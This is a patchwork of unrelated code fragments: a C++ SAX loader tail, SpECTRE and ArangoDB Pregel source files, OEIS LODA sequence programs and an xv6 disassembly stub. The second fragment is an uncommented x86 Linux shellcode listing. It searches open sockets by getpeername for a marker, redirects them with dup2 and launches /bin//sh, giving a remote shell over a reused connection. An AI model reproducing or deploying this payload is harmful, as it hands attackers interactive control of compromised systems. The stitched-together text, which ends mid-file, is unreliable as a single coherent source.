}
if( cppValue != NULL ) {
delete cppValue;
cppValue = NULL;
}
if( natName != NULL ) {
delete natName;
natName = NULL;
}
if( natDescription != NULL ) {
delete natDescription;
natDescription = NULL;
}
if( attrName != NULL ) {
delete attrName;
attrName = NULL;
}
if( attrDescription != NULL ) {
delete attrDescription;
attrDescription = NULL;
}
if( editTopProject != NULL ) {
editTopProject->endEdit();
editTopProject = NULL;
}
if( editBuff != NULL ) {
editBuff->endEdit();
editBuff = NULL;
}
if( tmpBuff != NULL ) {
if( tmpBuff->getIsNew() ) {
delete tmpBuff;
}
tmpBuff = NULL;
}
CFLIB_EXCEPTION_RETHROW_SAXEXCEPTION
}
void CFIntSaxLoaderTopProjectHandler::endElement(
const XMLCh* const uri,
const XMLCh* const localname,
const XMLCh* const qname )
{
}
}
|
00000000 31DB xor ebx,ebx
00000002 53 push ebx
00000003 89E6 mov esi,esp
00000005 6A40 push byte +0x40
00000007 B70A mov bh,0xa
00000009 53 push ebx
0000000A 56 push esi
0000000B 53 push ebx
0000000C 89E1 mov ecx,esp
0000000E 86FB xchg bh,bl
00000010 66FF01 inc word [ecx]
00000013 6A66 push byte +0x66
00000015 58 pop eax
00000016 CD80 int 0x80
00000018 813E39733961 cmp dword [esi],0x61397339
0000001E 75F0 jnz 0x10
00000020 5F pop edi
00000021 89FB mov ebx,edi
00000023 6A02 push byte +0x2
00000025 59 pop ecx
00000026 6A3F push byte +0x3f
00000028 58 pop eax
00000029 CD80 int 0x80
0000002B 49 dec ecx
0000002C 79F8 jns 0x26
0000002E 6A0B push byte +0xb
00000030 58 pop eax
00000031 99 cdq
00000032 52 push edx
00000033 682F2F7368 push dword 0x68732f2f ;push hs// on the stack
00000038 682F62696E push dword 0x6e69622f ;push nib/ on the stack
0000003D 89E3 mov ebx,esp
0000003F 52 push edx
00000040 53 push ebx
00000041 89E1 mov ecx,esp
00000043 CD80 int 0x80
|
// Distributed under the MIT License.
// See LICENSE.txt for details.
#include "Evolution/Systems/ScalarWave/BoundaryConditions/DirichletAnalytic.hpp"
#include <cstddef>
#include <memory>
#include <pup.h>
#include "Utilities/GenerateInstantiations.hpp"
/// \cond
namespace ScalarWave::BoundaryConditions {
template <size_t Dim>
DirichletAnalytic<Dim>::DirichletAnalytic(CkMigrateMessage* const msg) noexcept
: BoundaryCondition<Dim>(msg) {}
template <size_t Dim>
std::unique_ptr<domain::BoundaryConditions::BoundaryCondition>
DirichletAnalytic<Dim>::get_clone() const noexcept {
return std::make_unique<DirichletAnalytic>(*this);
}
template <size_t Dim>
void DirichletAnalytic<Dim>::pup(PUP::er& p) {
BoundaryCondition<Dim>::pup(p);
}
template <size_t Dim>
// NOLINTNEXTLINE
PUP::able::PUP_ID DirichletAnalytic<Dim>::my_PUP_ID = 0;
#define DIM(data) BOOST_PP_TUPLE_ELEM(0, data)
#define INSTANTIATION(r, data) template class DirichletAnalytic<DIM(data)>;
GENERATE_INSTANTIATIONS(INSTANTIATION, (1, 2, 3))
#undef INSTANTIATION
#undef DIM
} // namespace ScalarWave::BoundaryConditions
/// \endcond
|
////////////////////////////////////////////////////////////////////////////////
/// DISCLAIMER
///
/// Copyright 2016 ArangoDB GmbH, Cologne, Germany
///
/// Licensed under the Apache License, Version 2.0 (the "License");
/// you may not use this file except in compliance with the License.
/// You may obtain a copy of the License at
///
/// http://www.apache.org/licenses/LICENSE-2.0
///
/// Unless required by applicable law or agreed to in writing, software
/// distributed under the License is distributed on an "AS IS" BASIS,
/// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
/// See the License for the specific language governing permissions and
/// limitations under the License.
///
/// Copyright holder is ArangoDB GmbH, Cologne, Germany
///
/// @author Simon Grätzer
////////////////////////////////////////////////////////////////////////////////
#include "Pregel/Conductor.h"
#include "Pregel/Aggregator.h"
#include "Pregel/AlgoRegistry.h"
#include "Pregel/Algorithm.h"
#include "Pregel/MasterContext.h"
#include "Pregel/PregelFeature.h"
#include "Pregel/Recovery.h"
#include "Pregel/Utils.h"
#include "Basics/MutexLocker.h"
#include "Basics/StringUtils.h"
#include "Basics/VelocyPackHelper.h"
#include "Cluster/ClusterComm.h"
#include "Cluster/ClusterInfo.h"
#include "Cluster/ServerState.h"
#include "Scheduler/Scheduler.h"
#include "Scheduler/SchedulerFeature.h"
#include "VocBase/LogicalCollection.h"
#include "VocBase/ticks.h"
#include "VocBase/vocbase.h"
#include <velocypack/Iterator.h>
#include <velocypack/velocypack-aliases.h>
using namespace arangodb;
using namespace arangodb::pregel;
using namespace arangodb::basics;
const char* arangodb::pregel::ExecutionStateNames[6] = {
"none", "running", "done", "canceled", "in error", "recovering"};
Conductor::Conductor(
uint64_t executionNumber,
TRI_vocbase_t& vocbase,
std::vector<CollectionID> const& vertexCollections,
std::vector<CollectionID> const& edgeCollections,
std::string const& algoName,
VPackSlice const& config
)
: _vocbaseGuard(vocbase),
_executionNumber(executionNumber),
_algorithm(AlgoRegistry::createAlgorithm(algoName, config)),
_vertexCollections(vertexCollections),
_edgeCollections(edgeCollections) {
if (!config.isObject()) {
_userParams.openObject();
_userParams.close();
} else {
_userParams.add(config);
}
if (!_algorithm) {
THROW_ARANGO_EXCEPTION_MESSAGE(TRI_ERROR_BAD_PARAMETER,
"Algorithm not found");
}
_masterContext.reset(_algorithm->masterContext(config));
_aggregators.reset(new AggregatorHandler(_algorithm.get()));
_maxSuperstep =
VelocyPackHelper::getNumericValue(config, "maxGSS", _maxSuperstep);
// configure the async mode as off by default
VPackSlice async = _userParams.slice().get("async");
_asyncMode =
_algorithm->supportsAsyncMode() && async.isBool() && async.getBoolean();
if (_asyncMode) {
LOG_TOPIC(DEBUG, Logger::PREGEL) << "Running in async mode";
}
VPackSlice lazy = _userParams.slice().get("lazyLoading");
_lazyLoading = _algorithm->supportsLazyLoading();
_lazyLoading = _lazyLoading && (lazy.isNone() || lazy.getBoolean());
if (_lazyLoading) {
LOG_TOPIC(DEBUG, Logger::PREGEL) << "Enabled lazy loading";
}
VPackSlice storeSlice = config.get("store");
_storeResults = !storeSlice.isBool() || storeSlice.getBool();
if (!_storeResults) {
LOG_TOPIC(DEBUG, Logger::PREGEL) << "Will keep results in-memory";
}
}
Conductor::~Conductor() {
if (_state != ExecutionState::DEFAULT) {
try {
this->cancel();
} catch (...) {
// must not throw exception from here
}
}
}
void Conductor::start() {
MUTEX_LOCKER(guard, _callbackMutex);
_callbackMutex.assertLockedByCurrentThread();
_startTimeSecs = TRI_microtime();
_globalSuperstep = 0;
_state = ExecutionState::RUNNING;
LOG_TOPIC(DEBUG, Logger::PREGEL) << "Telling workers to load the data";
int res = _initializeWorkers(Utils::startExecutionPath, VPackSlice());
if (res != TRI_ERROR_NO_ERROR) {
_state = ExecutionState::CANCELED;
LOG_TOPIC(ERR, Logger::PREGEL) << "Not all DBServers started the execution";
}
}
// only called by the conductor, is protected by the
// mutex locked in finishedGlobalStep
bool Conductor::_startGlobalStep() {
_callbackMutex.assertLockedByCurrentThread();
// send prepare GSS notice
VPackBuilder b;
b.openObject();
b.add(Utils::executionNumberKey, VPackValue(_executionNumber));
b.add(Utils::globalSuperstepKey, VPackValue(_globalSuperstep));
b.add(Utils::vertexCountKey, VPackValue(_totalVerticesCount));
b.add(Utils::edgeCountKey, VPackValue(_totalEdgesCount));
b.close();
/// collect the aggregators
_aggregators->resetValues();
_statistics.resetActiveCount();
_totalVerticesCount = 0; // might change during execution
_totalEdgesCount = 0;
// we are explicitly expecting an response containing the aggregated
// values as well as the count of active vertices
int res = _sendToAllDBServers(
Utils::prepareGSSPath, b, [&](VPackSlice const& payload) {
_aggregators->aggregateValues(payload);
_statistics.accumulateActiveCounts(payload);
_totalVerticesCount += payload.get(Utils::vertexCountKey).getUInt();
_totalEdgesCount += payload.get(Utils::edgeCountKey).getUInt();
});
if (res != TRI_ERROR_NO_ERROR) {
_state = ExecutionState::IN_ERROR;
LOG_TOPIC(ERR, Logger::PREGEL)
<< "Seems there is at least one worker out of order";
// the recovery mechanisms should take care of this
return false;
}
// workers are done if all messages were processed and no active vertices
// are left to process
bool proceed = true;
if (_masterContext &&
_globalSuperstep > 0) { // ask algorithm to evaluate aggregated values
_masterContext->_globalSuperstep = _globalSuperstep - 1;
_masterContext->_enterNextGSS = false;
proceed = _masterContext->postGlobalSuperstep();
if (!proceed) {
LOG_TOPIC(DEBUG, Logger::PREGEL) << "Master context ended execution";
}
}
// TODO make maximum configurable
bool done = _globalSuperstep > 0 && _statistics.noActiveVertices() &&
_statistics.allMessagesProcessed();
if (!proceed || done || _globalSuperstep >= _maxSuperstep) {
_state = ExecutionState::DONE;
// tells workers to store / discard results
if (_storeResults) {
_finalizeWorkers();
} else { // just stop the timer
_endTimeSecs = TRI_microtime();
LOG_TOPIC(INFO, Logger::PREGEL) << "Done execution took"
<< totalRuntimeSecs() << " s";
}
return false;
}
if (_masterContext) {
_masterContext->_globalSuperstep = _globalSuperstep;
_masterContext->_vertexCount = _totalVerticesCount;
_masterContext->_edgeCount = _totalEdgesCount;
_masterContext->preGlobalSuperstep();
}
b.clear();
b.openObject();
b.add(Utils::executionNumberKey, VPackValue(_executionNumber));
b.add(Utils::globalSuperstepKey, VPackValue(_globalSuperstep));
b.add(Utils::vertexCountKey, VPackValue(_totalVerticesCount));
b.add(Utils::edgeCountKey, VPackValue(_totalEdgesCount));
_aggregators->serializeValues(b);
b.close();
LOG_TOPIC(DEBUG, Logger::PREGEL) << b.toString();
// start vertex level operations, does not get a response
res = _sendToAllDBServers(Utils::startGSSPath, b); // call me maybe
if (res != TRI_ERROR_NO_ERROR) {
_state = ExecutionState::IN_ERROR;
LOG_TOPIC(ERR, Logger::PREGEL) << "Conductor could not start GSS "
<< _globalSuperstep;
// the recovery mechanisms should take care od this
} else {
LOG_TOPIC(DEBUG, Logger::PREGEL) << "Conductor started new gss "
<< _globalSuperstep;
}
return res == TRI_ERROR_NO_ERROR;
}
// ============ Conductor callbacks ===============
void Conductor::finishedWorkerStartup(VPackSlice const& data) {
MUTEX_LOCKER(guard, _callbackMutex);
_ensureUniqueResponse(data);
if (_state != ExecutionState::RUNNING) {
LOG_TOPIC(WARN, Logger::PREGEL)
<< "We are not in a state where we expect a response";
return;
}
_totalVerticesCount += data.get(Utils::vertexCountKey).getUInt();
_totalEdgesCount += data.get(Utils::edgeCountKey).getUInt();
if (_respondedServers.size() != _dbServers.size()) {
return;
}
LOG_TOPIC(INFO, Logger::PREGEL) << "Running pregel with "
<< _totalVerticesCount << " vertices, "
<< _totalEdgesCount << " edges";
if (_masterContext) {
_masterContext->_globalSuperstep = 0;
_masterContext->_vertexCount = _totalVerticesCount;
_masterContext->_edgeCount = _totalEdgesCount;
_masterContext->_aggregators = _aggregators.get();
_masterContext->preApplication();
}
_computationStartTimeSecs = TRI_microtime();
if (_startGlobalStep()) {
// listens for changing primary DBServers on each collection shard
RecoveryManager* mngr = PregelFeature::instance()->recoveryManager();
if (mngr) {
mngr->monitorCollections(
_vocbaseGuard.database().name(), _vertexCollections, this
);
}
}
}
/// Will optionally send a response, to notify the worker of converging
/// aggregator
/// values which can be coninually updated (in async mode)
VPackBuilder Conductor::finishedWorkerStep(VPackSlice const& data) {
MUTEX_LOCKER(guard, _callbackMutex);
// this method can be called multiple times in a superstep depending on
// whether we are in the async mode
uint64_t gss = data.get(Utils::globalSuperstepKey).getUInt();
if (gss != _globalSuperstep ||
!(_state == ExecutionState::RUNNING ||
_state == ExecutionState::CANCELED)) {
LOG_TOPIC(WARN, Logger::PREGEL)
<< "Conductor did received a callback from the wrong superstep";
return VPackBuilder();
}
// track message counts to decide when to halt or add global barriers.
// In normal mode this will wait for a response from each worker,
// in async mode this will wait until all messages were processed
_statistics.accumulateMessageStats(data);
if (_asyncMode == false) { // in async mode we wait for all responded
_ensureUniqueResponse(data);
// wait for the last worker to respond
if (_respondedServers.size() != _dbServers.size()) {
return VPackBuilder();
}
} else if (_statistics.clientCount() < _dbServers.size() || // no messages
!_statistics.allMessagesProcessed()) { // haven't received msgs
VPackBuilder response;
_aggregators->aggregateValues(data);
if (_masterContext) {
_masterContext->postLocalSuperstep();
}
response.openObject();
_aggregators->serializeValues(response);
if (_masterContext && _masterContext->_enterNextGSS) {
response.add(Utils::enterNextGSSKey, VPackValue(true));
}
response.close();
return response;
}
LOG_TOPIC(DEBUG, Logger::PREGEL)
<< "Finished gss " << _globalSuperstep << " in "
<< (TRI_microtime() - _computationStartTimeSecs) << "s";
//_statistics.debugOutput();
_globalSuperstep++;
TRI_ASSERT(SchedulerFeature::SCHEDULER != nullptr);
rest::Scheduler* scheduler = SchedulerFeature::SCHEDULER;
// don't block the response for workers waiting on this callback
// this should allow workers to go into the IDLE state
scheduler->queue(RequestPriority::LOW, [this] {
MUTEX_LOCKER(guard, _callbackMutex);
if (_state == ExecutionState::RUNNING) {
_startGlobalStep(); // trigger next superstep
} else if (_state == ExecutionState::CANCELED) {
LOG_TOPIC(WARN, Logger::PREGEL)
<< "Execution was canceled, results will be discarded.";
_finalizeWorkers(); // tells workers to store / discard results
} else { // this prop shouldn't occur unless we are recovering or in error
LOG_TOPIC(WARN, Logger::PREGEL)
<< "No further action taken after receiving all responses";
}
});
return VPackBuilder();
}
void Conductor::finishedRecoveryStep(VPackSlice const& data) {
MUTEX_LOCKER(guard, _callbackMutex);
_ensureUniqueResponse(data);
if (_state != ExecutionState::RECOVERING) {
LOG_TOPIC(WARN, Logger::PREGEL)
<< "We are not in a state where we expect a recovery response";
return;
}
// the recovery mechanism might be gathering state information
_aggregators->aggregateValues(data);
if (_respondedServers.size() != _dbServers.size()) {
return;
}
// only compensations supported
bool proceed = false;
if (_masterContext) {
proceed = proceed || _masterContext->postCompensation();
}
int res = TRI_ERROR_NO_ERROR;
if (proceed) {
// reset values which are calculated during the superstep
_aggregators->resetValues();
if (_masterContext) {
_masterContext->preCompensation();
}
VPackBuilder b;
b.openObject();
b.add(Utils::executionNumberKey, VPackValue(_executionNumber));
_aggregators->serializeValues(b);
b.close();
// first allow all workers to run worker level operations
res = _sendToAllDBServers(Utils::continueRecoveryPath, b);
} else {
LOG_TOPIC(INFO, Logger::PREGEL) << "Recovery finished. Proceeding normally";
// build the message, works for all cases
VPackBuilder b;
b.openObject();
b.add(Utils::executionNumberKey, VPackValue(_executionNumber));
b.add(Utils::globalSuperstepKey, VPackValue(_globalSuperstep));
b.close();
res = _sendToAllDBServers(Utils::finalizeRecoveryPath, b);
if (res == TRI_ERROR_NO_ERROR) {
_state = ExecutionState::RUNNING;
_startGlobalStep();
}
}
if (res != TRI_ERROR_NO_ERROR) {
cancelNoLock();
LOG_TOPIC(INFO, Logger::PREGEL) << "Recovery failed";
}
}
void Conductor::cancel() {
MUTEX_LOCKER(guard, _callbackMutex);
cancelNoLock();
}
void Conductor::cancelNoLock() {
_callbackMutex.assertLockedByCurrentThread();
if (_state == ExecutionState::RUNNING ||
_state == ExecutionState::RECOVERING ||
_state == ExecutionState::IN_ERROR) {
_state = ExecutionState::CANCELED;
_finalizeWorkers();
}
}
void Conductor::startRecovery() {
MUTEX_LOCKER(guard, _callbackMutex);
if (_state != ExecutionState::RUNNING && _state != ExecutionState::IN_ERROR) {
return; // maybe we are already in recovery mode
} else if (_algorithm->supportsCompensation() == false) {
LOG_TOPIC(ERR, Logger::PREGEL) << "Algorithm does not support recovery";
cancelNoLock();
return;
}
// we lost a DBServer, we need to reconfigure all remainging servers
// so they load the data for the lost machine
_state = ExecutionState::RECOVERING;
_statistics.reset();
TRI_ASSERT(SchedulerFeature::SCHEDULER != nullptr);
// let's wait for a final state in the cluster
_steady_timer.reset(SchedulerFeature::SCHEDULER->newSteadyTimer());
_steady_timer->expires_after(std::chrono::seconds(2));
_steady_timer->async_wait([this](const asio::error_code& error) {
_steady_timer.reset();
if (error == asio::error::operation_aborted ||
_state != ExecutionState::RECOVERING) {
return; // seems like we are canceled
}
std::vector<ServerID> goodServers;
int res = PregelFeature::instance()->recoveryManager()->filterGoodServers(
_dbServers, goodServers);
if (res != TRI_ERROR_NO_ERROR) {
LOG_TOPIC(ERR, Logger::PREGEL) << "Recovery proceedings failed";
cancelNoLock();
return;
}
_dbServers = goodServers;
VPackBuilder b;
b.openObject();
b.add(Utils::executionNumberKey, VPackValue(_executionNumber));
b.add(Utils::globalSuperstepKey, VPackValue(_globalSuperstep));
b.close();
_sendToAllDBServers(Utils::cancelGSSPath, b);
if (_state != ExecutionState::RECOVERING) {
return; // seems like we are canceled
}
// Let's try recovery
if (_masterContext) {
bool proceed = _masterContext->preCompensation();
if (!proceed) {
cancelNoLock();
}
}
VPackBuilder additionalKeys;
additionalKeys.openObject();
additionalKeys.add(Utils::recoveryMethodKey, VPackValue(Utils::compensate));
_aggregators->serializeValues(b);
additionalKeys.close();
_aggregators->resetValues();
// initialize workers will reconfigure the workers and set the
// _dbServers list to the new primary DBServers
res = _initializeWorkers(Utils::startRecoveryPath, additionalKeys.slice());
if (res != TRI_ERROR_NO_ERROR) {
cancelNoLock();
LOG_TOPIC(ERR, Logger::PREGEL) << "Compensation failed";
}
});
}
// resolves into an ordered list of shards for each collection on each server
static void resolveInfo(
TRI_vocbase_t* vocbase, CollectionID const& collectionID,
std::map<CollectionID, std::string>& collectionPlanIdMap,
std::map<ServerID, std::map<CollectionID, std::vector<ShardID>>>& serverMap,
std::vector<ShardID>& allShards) {
ServerState* ss = ServerState::instance();
if (!ss->isRunningInCluster()) { // single server mode
auto lc = vocbase->lookupCollection(collectionID);
if (lc == nullptr || lc->deleted()) {
THROW_ARANGO_EXCEPTION_MESSAGE(TRI_ERROR_ARANGO_DATA_SOURCE_NOT_FOUND,
collectionID);
}
collectionPlanIdMap.emplace(collectionID, std::to_string(lc->planId()));
allShards.push_back(collectionID);
serverMap[ss->getId()][collectionID].push_back(collectionID);
} else if (ss->isCoordinator()) { // we are in the cluster
ClusterInfo* ci = ClusterInfo::instance();
std::shared_ptr<LogicalCollection> lc =
ci->getCollection(vocbase->name(), collectionID);
if (lc->deleted()) {
THROW_ARANGO_EXCEPTION_MESSAGE(TRI_ERROR_ARANGO_DATA_SOURCE_NOT_FOUND,
collectionID);
}
collectionPlanIdMap.emplace(collectionID, std::to_string(lc->planId()));
std::shared_ptr<std::vector<ShardID>> shardIDs =
ci->getShardList(std::to_string(lc->id()));
allShards.insert(allShards.end(), shardIDs->begin(), shardIDs->end());
for (auto const& shard : *shardIDs) {
std::shared_ptr<std::vector<ServerID>> servers =
ci->getResponsibleServer(shard);
if (servers->size() > 0) {
serverMap[(*servers)[0]][lc->name()].push_back(shard);
}
}
} else {
THROW_ARANGO_EXCEPTION(TRI_ERROR_CLUSTER_ONLY_ON_COORDINATOR);
}
}
/// should cause workers to start a new execution or begin with recovery
/// proceedings
int Conductor::_initializeWorkers(std::string const& suffix,
VPackSlice additional) {
_callbackMutex.assertLockedByCurrentThread();
std::string const path =
Utils::baseUrl(_vocbaseGuard.database().name(), Utils::workerPrefix) +
suffix;
// int64_t vertexCount = 0, edgeCount = 0;
std::map<CollectionID, std::string> collectionPlanIdMap;
std::map<ServerID, std::map<CollectionID, std::vector<ShardID>>> vertexMap,
edgeMap;
std::vector<ShardID> shardList;
// resolve plan id's and shards on the servers
for (CollectionID const& collectionID : _vertexCollections) {
resolveInfo(
&(_vocbaseGuard.database()),
collectionID,
collectionPlanIdMap,
vertexMap,
shardList
); // store or
}
for (CollectionID const& collectionID : _edgeCollections) {
resolveInfo(
&(_vocbaseGuard.database()),
collectionID,
collectionPlanIdMap,
edgeMap,
shardList
); // store or
}
_dbServers.clear();
for (auto const& pair : vertexMap) {
_dbServers.push_back(pair.first);
}
// do not reload all shard id's, this list is must stay in the same order
if (_allShards.size() == 0) {
_allShards = shardList;
}
std::string coordinatorId = ServerState::instance()->getId();
std::vector<ClusterCommRequest> requests;
for (auto const& it : vertexMap) {
ServerID const& server = it.first;
std::map<CollectionID, std::vector<ShardID>> const& vertexShardMap =
it.second;
std::map<CollectionID, std::vector<ShardID>> const& edgeShardMap =
edgeMap[it.first];
VPackBuilder b;
b.openObject();
b.add(Utils::executionNumberKey, VPackValue(_executionNumber));
b.add(Utils::globalSuperstepKey, VPackValue(_globalSuperstep));
b.add(Utils::algorithmKey, VPackValue(_algorithm->name()));
b.add(Utils::userParametersKey, _userParams.slice());
b.add(Utils::coordinatorIdKey, VPackValue(coordinatorId));
b.add(Utils::asyncModeKey, VPackValue(_asyncMode));
b.add(Utils::lazyLoadingKey, VPackValue(_lazyLoading));
if (additional.isObject()) {
for (auto const& pair : VPackObjectIterator(additional)) {
b.add(pair.key.copyString(), pair.value);
}
}
b.add(Utils::vertexShardsKey, VPackValue(VPackValueType::Object));
for (auto const& pair : vertexShardMap) {
b.add(pair.first, VPackValue(VPackValueType::Array));
for (ShardID const& shard : pair.second) {
b.add(VPackValue(shard));
}
b.close();
}
b.close();
b.add(Utils::edgeShardsKey, VPackValue(VPackValueType::Object));
for (auto const& pair : edgeShardMap) {
b.add(pair.first, VPackValue(VPackValueType::Array));
for (ShardID const& shard : pair.second) {
b.add(VPackValue(shard));
}
b.close();
}
b.close();
b.add(Utils::collectionPlanIdMapKey, VPackValue(VPackValueType::Object));
for (auto const& pair : collectionPlanIdMap) {
b.add(pair.first, VPackValue(pair.second));
}
b.close();
b.add(Utils::globalShardListKey, VPackValue(VPackValueType::Array));
for (std::string const& shard : _allShards) {
b.add(VPackValue(shard));
}
b.close();
b.close();
// hack for singke serveronly on single server
if (ServerState::instance()->getRole() == ServerState::ROLE_SINGLE) {
TRI_ASSERT(vertexMap.size() == 1);
PregelFeature* feature = PregelFeature::instance();
std::shared_ptr<IWorker> worker = feature->worker(_executionNumber);
if (worker) {
THROW_ARANGO_EXCEPTION_MESSAGE(TRI_ERROR_INTERNAL,
"a worker with this execution number already exists.");
}
auto created =
AlgoRegistry::createWorker(_vocbaseGuard.database(), b.slice());
TRI_ASSERT(created.get() != nullptr);
PregelFeature::instance()->addWorker(std::move(created), _executionNumber);
worker = PregelFeature::instance()->worker(_executionNumber);
TRI_ASSERT (worker);
worker->setupWorker();
return TRI_ERROR_NO_ERROR;
} else {
auto body = std::make_shared<std::string const>(b.toJson());
requests.emplace_back("server:" + server, rest::RequestType::POST, path,
body);
LOG_TOPIC(DEBUG, Logger::PREGEL) << "Initializing Server " << server;
}
}
std::shared_ptr<ClusterComm> cc = ClusterComm::instance();
size_t nrDone = 0;
size_t nrGood = cc->performRequests(requests, 5.0 * 60.0, nrDone,
LogTopic("Pregel Conductor"), false);
Utils::printResponses(requests);
return nrGood == requests.size() ? TRI_ERROR_NO_ERROR : TRI_ERROR_FAILED;
}
int Conductor::_finalizeWorkers() {
_callbackMutex.assertLockedByCurrentThread();
double compEnd = TRI_microtime();
bool store = _state == ExecutionState::DONE;
store = store && _storeResults;
if (_masterContext) {
_masterContext->postApplication();
}
// stop monitoring shards
RecoveryManager* mngr = PregelFeature::instance()->recoveryManager();
if (mngr) {
mngr->stopMonitoring(this);
}
LOG_TOPIC(DEBUG, Logger::PREGEL) << "Finalizing workers";
VPackBuilder b;
b.openObject();
b.add(Utils::executionNumberKey, VPackValue(_executionNumber));
b.add(Utils::globalSuperstepKey, VPackValue(_globalSuperstep));
b.add(Utils::storeResultsKey, VPackValue(store));
b.close();
int res = _sendToAllDBServers(Utils::finalizeExecutionPath, b);
_endTimeSecs = TRI_microtime(); // offically done
VPackBuilder debugOut;
debugOut.openObject();
debugOut.add("stats", VPackValue(VPackValueType::Object));
_statistics.serializeValues(debugOut);
debugOut.close();
_aggregators->serializeValues(debugOut);
debugOut.close();
LOG_TOPIC(INFO, Logger::PREGEL) << "Done. We did " << _globalSuperstep
<< " rounds";
LOG_TOPIC(DEBUG, Logger::PREGEL)
<< "Startup Time: " << _computationStartTimeSecs - _startTimeSecs << "s";
LOG_TOPIC(DEBUG, Logger::PREGEL)
<< "Computation Time: " << compEnd - _computationStartTimeSecs << "s";
LOG_TOPIC(DEBUG, Logger::PREGEL)
<< "Storage Time: " << TRI_microtime() - compEnd << "s";
LOG_TOPIC(INFO, Logger::PREGEL) << "Overall: " << totalRuntimeSecs() << "s";
LOG_TOPIC(DEBUG, Logger::PREGEL) << "Stats: " << debugOut.toString();
return res;
}
void Conductor::collectAQLResults(VPackBuilder& outBuilder) {
MUTEX_LOCKER(guard, _callbackMutex);
if (_state != ExecutionState::DONE) {
return;
}
VPackBuilder b;
b.openObject();
b.add(Utils::executionNumberKey, VPackValue(_executionNumber));
b.close();
// merge results from DBServers
outBuilder.openArray();
int res = _sendToAllDBServers(Utils::aqlResultsPath, b,
[&](VPackSlice const& payload) {
if (payload.isArray()) {
outBuilder.add(VPackArrayIterator(payload));
}
});
outBuilder.close();
if (res != TRI_ERROR_NO_ERROR) {
THROW_ARANGO_EXCEPTION(res);
}
}
VPackBuilder Conductor::toVelocyPack() const {
VPackBuilder result;
result.openObject();
result.add("state", VPackValue(pregel::ExecutionStateNames[_state]));
result.add("gss", VPackValue(_globalSuperstep));
result.add("totalRuntime", VPackValue(totalRuntimeSecs()));
_aggregators->serializeValues(result);
{
MUTEX_LOCKER(guard, _callbackMutex);
_statistics.serializeValues(result);
}
if (_state != ExecutionState::RUNNING) {
result.add("vertexCount", VPackValue(_totalVerticesCount));
result.add("edgeCount", VPackValue(_totalEdgesCount));
}
result.close();
return result;
}
int Conductor::_sendToAllDBServers(std::string const& path,
VPackBuilder const& message) {
return _sendToAllDBServers(path, message, std::function<void(VPackSlice)>());
}
int Conductor::_sendToAllDBServers(std::string const& path,
VPackBuilder const& message,
std::function<void(VPackSlice)> handle) {
_callbackMutex.assertLockedByCurrentThread();
_respondedServers.clear();
// to support the single server case, we handle it without optimizing it
if (ServerState::instance()->isRunningInCluster() == false) {
if (handle) {
VPackBuilder response;
PregelFeature::handleWorkerRequest(
_vocbaseGuard.database(), path, message.slice(), response
);
handle(response.slice());
} else {
TRI_ASSERT(SchedulerFeature::SCHEDULER != nullptr);
rest::Scheduler* scheduler = SchedulerFeature::SCHEDULER;
scheduler->queue(RequestPriority::LOW, [this, path, message] {
VPackBuilder response;
PregelFeature::handleWorkerRequest(
_vocbaseGuard.database(), path, message.slice(), response
);
});
}
return TRI_ERROR_NO_ERROR;
}
// cluster case
std::shared_ptr<ClusterComm> cc = ClusterComm::instance();
if (_dbServers.size() == 0) {
LOG_TOPIC(WARN, Logger::PREGEL) << "No servers registered";
return TRI_ERROR_FAILED;
}
std::string base =
Utils::baseUrl(_vocbaseGuard.database().name(), Utils::workerPrefix);
auto body = std::make_shared<std::string const>(message.toJson());
std::vector<ClusterCommRequest> requests;
for (auto const& server : _dbServers) {
requests.emplace_back("server:" + server, rest::RequestType::POST,
base + path, body);
}
size_t nrDone = 0;
size_t nrGood = cc->performRequests(requests, 5.0 * 60.0, nrDone,
LogTopic("Pregel Conductor"), false);
LOG_TOPIC(TRACE, Logger::PREGEL) << "Send " << path << " to " << nrDone
<< " servers";
Utils::printResponses(requests);
if (handle && nrGood == requests.size()) {
for (ClusterCommRequest const& req : requests) {
handle(req.result.answer->payload());
}
}
return nrGood == requests.size() ? TRI_ERROR_NO_ERROR : TRI_ERROR_FAILED;
}
void Conductor::_ensureUniqueResponse(VPackSlice body) {
_callbackMutex.assertLockedByCurrentThread();
// check if this the only time we received this
ServerID sender = body.get(Utils::senderKey).copyString();
if (_respondedServers.find(sender) != _respondedServers.end()) {
LOG_TOPIC(ERR, Logger::PREGEL) << "Received response already from "
<< sender;
THROW_ARANGO_EXCEPTION(TRI_ERROR_ARANGO_CONFLICT);
}
_respondedServers.insert(sender);
}
|
; A183985: 1/4 the number of (n+1) X 9 binary arrays with all 2 X 2 subblock sums the same.
; 153,155,158,164,174,194,230,302,438,710,1238,2294,4374,8534,16790,33302,66198,131990,263318,525974,1050774,2100374,4198550,8394902,16785558,33566870,67125398,134242454,268468374,536920214,1073807510,2147582102,4295098518,8590131350,17180131478,34360131734,68720001174,137439740054,274878955670,549757386902,1099513725078,2199026401430,4398050705558,8796099313814,17592194433174,35184384671894,70368760955030,140737513521302,281475010265238,562950003753110,1125899973951638,2251799914348694,4503599761588374,9007199456067734,18014398777917590,36028797421617302,72057594574798998,144115188881162390,288230377225453718,576460753914036374,1152921506754330774,2305843012434919574,4611686022722355350,9223372043297226902,18446744082299486358,36893488160304005270,73786976312018075798,147573952615446216854,295147905213712564374,590295810410245259414,1180591620786130780310,2361183241537901822102,4722366483007084167318,9444732965945448857750,18889465931753458761878,37778931863369478570134,75557863726464079233174,151115727452653280559254,302231454904756805304470,604462909808963854794902,1208925819616828197961878,2417851639232556884295830,4835703278462914745335958,9671406556923630467416214,19342813113842862888321174,38685626227681327730131094,77371252455353859367239830,154742504910698922641457302,309485009821380253096870038,618970019642742914007695510,1237940039285450643643302038,2475880078570866102914515094,4951760157141661837084852374,9903520314283253305425526934,19807040628566365873362698390,39614081257132591009237041302,79228162514264900543497371798,158456325028529519612018032790,316912650057058476274082644118,633825300114116389598211866774
mov $1,2
mov $2,$0
lpb $0
mul $1,2
add $1,$2
sub $1,$0
sub $0,1
trn $2,2
lpe
add $1,151
mov $0,$1
|
; A206547: Positive odd numbers relatively prime to 21.
; Submitted by Christian Krause
; 1,5,11,13,17,19,23,25,29,31,37,41,43,47,53,55,59,61,65,67,71,73,79,83,85,89,95,97,101,103,107,109,113,115,121,125,127,131,137,139,143,145,149,151,155,157,163,167,169,173,179,181,185,187,191,193,197,199,205,209,211
add $0,6
lpb $0
mov $2,$0
mov $0,0
seq $2,160545 ; Numbers coprime to 21.
lpe
mov $0,$2
sub $0,11
mul $0,2
add $0,1
|
_loop_forever: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
#define TPS 100
int
main(void)
{
